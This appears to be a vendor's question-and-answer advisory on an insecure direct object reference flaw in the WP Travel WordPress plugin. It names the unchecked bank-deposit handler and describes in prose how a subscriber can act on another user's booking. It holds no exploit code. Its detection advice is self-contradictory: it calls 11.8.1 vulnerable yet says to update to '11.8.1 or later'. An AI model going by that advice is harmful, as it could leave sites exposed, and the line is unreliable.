CVE-2026-13145 is an Insecure Direct Object Reference (IDOR) vulnerability in the WP Travel plugin for WordPress. It allows authenticated users with subscriber-level access to perform unauthorized actions on other users’ bookings, such as viewing or modifying them. The vulnerability affects versions up to 11.8.1 and has a CVSS score of 4.3, indicating medium severity.
How does the IDOR vulnerability work?
Technical explanation
The vulnerability occurs because the plugin fails to validate that the authenticated user owns the booking when processing requests that reference booking IDs. For example, in the bank deposit gateway, the function wptravel_submit_bank_deposit_slip does not check if the booking belongs to the user. Similarly, the bookings template lacks an ownership check when displaying booking details. An attacker can exploit this by sending crafted requests with a victim’s booking ID.
Who is affected by this vulnerability?
Affected users and sites
WordPress sites running WP Travel versions up to and including 11.8.1 are affected. Any authenticated user with subscriber-level access or higher can exploit the vulnerability. This includes regular subscribers who have minimal privileges, making it a significant risk for sites with multiple user roles.
How can I check if my site is vulnerable?
Detection steps
Check the WP Travel plugin version in your WordPress admin dashboard under Plugins. If the version is 11.8.1 or lower, your site is vulnerable. You can also review the plugin’s changelog or use security scanning tools that detect known vulnerabilities. Ensure you update to version 11.8.1 or later to apply the patch.
What is the practical impact of this vulnerability?
Real-world consequences
An attacker with subscriber access can view sensitive booking details of other users, including personal information and payment status. They can also submit a bank deposit slip for a victim’s booking, potentially altering payment records. This compromises data confidentiality and integrity, though it does not lead to full site takeover.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The provided PoC shows how an authenticated subscriber can log in and send a POST request to the bank deposit endpoint with a victim’s booking ID. It includes a valid nonce and file upload, which the plugin processes without verifying ownership. This demonstrates the missing authorization check and the ability to perform unauthorized actions.
What is the root cause of this vulnerability?
Underlying flaw
The root cause is the lack of authorization checks in multiple endpoints. The plugin fails to compare the authenticated user’s identity with the booking’s owner before processing actions. This allows any authenticated user to interact with bookings they do not own, violating the principle of least privilege.
How has the patch addressed the vulnerability?
Patch analysis
The patch adds ownership validation checks. In the bank deposit handler, it retrieves the booking’s customer email and compares it to the authenticated user’s email, rejecting mismatches. Similarly, the bookings template checks the booking’s email against the current user’s email and returns an error if they do not match. These checks prevent unauthorized access.
What should I do if I cannot update the plugin immediately?
Temporary mitigation
If you cannot update right away, consider restricting subscriber access to the affected endpoints. You can use security plugins to block direct access to admin-post.php and admin-ajax.php for non-admin users, or implement custom code to add ownership checks. However, updating to the patched version is the recommended solution.
What is the CVSS score and severity rating?
Risk assessment
The CVSS score is 4.3, which is rated as Medium severity. This reflects that the vulnerability requires authentication and has limited impact on confidentiality and integrity. It does not allow privilege escalation, but it still poses a risk to data privacy and trust.
Are there any other known vulnerabilities in WP Travel?
Related issues
While this specific IDOR is patched, it is always advisable to keep the plugin updated to the latest version. Check the plugin’s changelog and security advisories for any other fixes. Regularly updating and monitoring for new releases helps protect against emerging threats.
How can I report a vulnerability or get more information?
Resources
For more details, refer to the official CVE record and the plugin’s changelog. You can also consult security research platforms like WPScan or the WordPress security team. If you discover a new issue, report it responsibly to the plugin developer or through coordinated disclosure channels.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started